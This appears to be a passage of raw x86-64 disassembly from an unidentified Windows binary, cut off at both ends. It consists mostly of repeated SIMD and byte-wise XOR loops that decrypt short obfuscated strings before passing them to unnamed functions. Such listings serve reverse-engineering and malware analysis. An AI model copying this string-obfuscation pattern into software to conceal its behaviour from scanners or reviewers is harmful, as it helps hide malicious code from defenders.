pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140023160
cmp r8d, 0x21
jge 0x140023290
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140023260
mov rdx, r10
lea rcx, [rbp - 0x38]
call fcn.14002c8a0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.140032460
mov rsi, rax
lea rdx, [rbp + 0x178]
lea rcx, [rsp + 0x51]
call fcn.140027720
mov r10, rax
cmp byte [rax + 0x34], 0
je 0x140023420
mov r8d, ebx
cmp edi, 2
jl 0x1400233df
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400232f0
cmp r8d, 0x35
jge 0x140023420
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x1400233f0
mov rdx, r10
lea rcx, [rbp + 0xa8]
call fcn.14002c8a0
nop
mov r8, rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x58]
call fcn.1400306f0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0xc8]
call fcn.140032460
nop
mov qword [rsp + 0x20], r15
mov r9, r12
mov r8, r14
mov rdx, rsi
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x58]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0xa8]
call fcn.14002c6f0
nop
lea rcx, [rbp - 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x108]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x290]
call fcn.140007810
lea rax, [rbp - 0x68]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp - 0x68]
call fcn.14002be00
mov r15, rax
lea r8, [0x14028c9d8]
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x290]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov r12, rax
lea rax, [rbp - 0x18]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0xe8]
lea rcx, [rsp + 0x50]
call fcn.140027b40
mov r10, rax
cmp byte [rax + 0x1b], 0
je 0x140023670
mov r8d, ebx
cmp edi, 2
jl 0x14002362f
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140023540
cmp r8d, 0x1c
jge 0x140023670
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x140023640
mov rdx, r10
lea rcx, [rbp + 0x108]
call fcn.14002c8a0
nop
mov r8, rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x38]
call fcn.1400306f0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x18]
call fcn.140032460
mov r14, rax
lea rax, [rbp + 8]
mov qword [rbp - 0x70], rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x52]
call fcn.140027b10
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x140023820
mov r8d, ebx
cmp edi, 2
jl 0x1400237df
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400236f0
cmp r8d, 0x21
jge 0x140023820
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x1400237f0
mov rdx, r10
lea rcx, [rbp - 0x38]
call fcn.14002c8a0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.140032460
mov rsi, rax
lea rdx, [rbp + 0x178]
lea rcx, [rsp + 0x51]
call fcn.140027720
mov r10, rax
cmp byte [rax + 0x34], 0
je 0x1400239b0
mov r8d, ebx
cmp edi, 2
jl 0x14002396f
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140023880
cmp r8d, 0x35
jge 0x1400239b0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x140023980
mov rdx, r10
lea rcx, [rbp + 0xa8]
call fcn.14002c8a0
nop
mov r8, rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x58]
call fcn.1400306f0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0xc8]
call fcn.140032460
nop
mov qword [rsp + 0x20], r15
mov r9, r12
mov r8, r14
mov rdx, rsi
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x58]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0xa8]
call fcn.14002c6f0
nop
lea rcx, [rbp - 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x108]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x290]
call fcn.140007810
lea rax, [rbp - 0x68]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp - 0x68]
call fcn.14002be00
mov r15, rax
lea r8, [0x14028ca58]
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x290]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov r12, rax
lea rax, [rbp - 0x18]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0xe8]
lea rcx, [rsp + 0x50]
call fcn.140027ba0
mov r10, rax
cmp byte [rax + 0x14], 0
je 0x140023c00
mov r8d, ebx
cmp edi, 2
jl 0x140023bbf
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140023ad0
cmp r8d, 0x15
jge 0x140023c00
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140023bd0
mov rdx, r10
lea rcx, [rbp + 0x108]
call fcn.14002c8a0
nop
mov r8, rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x38]
call fcn.1400306f0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x18]
call fcn.140032460
mov r14, rax
lea rax, [rbp + 8]
mov qword [rbp - 0x70], rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x52]
call fcn.140027b70
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x140023db0
mov r8d, ebx
cmp edi, 2
jl 0x140023d6f
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140023c80
cmp r8d, 0x21
jge 0x140023db0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140023d80
mov rdx, r10
lea rcx, [rbp - 0x38]
call fcn.14002c8a0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.140032460
mov rsi, rax
lea rdx, [rbp + 0x178]
lea rcx, [rsp + 0x51]
call fcn.140027720
mov r10, rax
cmp byte [rax + 0x34], 0
je 0x140023f40
mov r8d, ebx
cmp edi, 2
jl 0x140023eff
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140023e10
cmp r8d, 0x35
jge 0x140023f40
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x140023f10
mov rdx, r10
lea rcx, [rbp + 0xa8]
call fcn.14002c8a0
nop
mov r8, rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x58]
call fcn.1400306f0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0xc8]
call fcn.140032460
nop
mov qword [rsp + 0x20], r15
mov r9, r12
mov r8, r14
mov rdx, rsi
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x58]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0xa8]
call fcn.14002c6f0
nop
lea rcx, [rbp - 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x108]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x290]
call fcn.140007810
lea rax, [rbp - 0x68]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp - 0x68]
call fcn.14002be00
mov r15, rax
lea r8, [0x14028cac8]
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x290]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov r12, rax
lea rax, [rbp - 0x18]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0xe8]
lea rcx, [rsp + 0x50]
call fcn.140027c00
mov r10, rax
cmp byte [rax + 0x14], 0
je 0x140024190
mov r8d, ebx
cmp edi, 2
jl 0x14002414f
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140024060
cmp r8d, 0x15
jge 0x140024190
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140024160
mov rdx, r10
lea rcx, [rbp + 0x108]
call fcn.14002c8a0
nop
mov r8, rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x38]
call fcn.1400306f0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x18]
call fcn.140032460
mov r14, rax
lea rax, [rbp + 8]
mov qword [rbp - 0x70], rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x52]
call fcn.140027bd0
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x140024340
mov r8d, ebx
cmp edi, 2
jl 0x1400242ff
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140024210
cmp r8d, 0x21
jge 0x140024340
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140024310
mov rdx, r10
lea rcx, [rbp - 0x38]
call fcn.14002c8a0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.140032460
mov rsi, rax
lea rdx, [rbp + 0x178]
lea rcx, [rsp + 0x51]
call fcn.140027720
mov r10, rax
cmp byte [rax + 0x34], 0
je 0x1400244d0
mov r8d, ebx
cmp edi, 2
jl 0x14002448f
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400243a0
cmp r8d, 0x35
jge 0x1400244d0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x1400244a0
mov rdx, r10
lea rcx, [rbp + 0xa8]
call fcn.14002c8a0
nop
mov r8, rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x58]
call fcn.1400306f0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0xc8]
call fcn.140032460
nop
mov qword [rsp + 0x20], r15
mov r9, r12
mov r8, r14
mov rdx, rsi
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x58]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0xa8]
call fcn.14002c6f0
nop
lea rcx, [rbp - 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x108]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x290]
call fcn.140007810
lea rax, [rbp - 0x68]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp - 0x68]
call fcn.14002be00
mov r15, rax
lea r8, [0x14028cb38]
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x290]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov r12, rax
lea rax, [rbp - 0x18]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0xe8]
lea rcx, [rsp + 0x50]
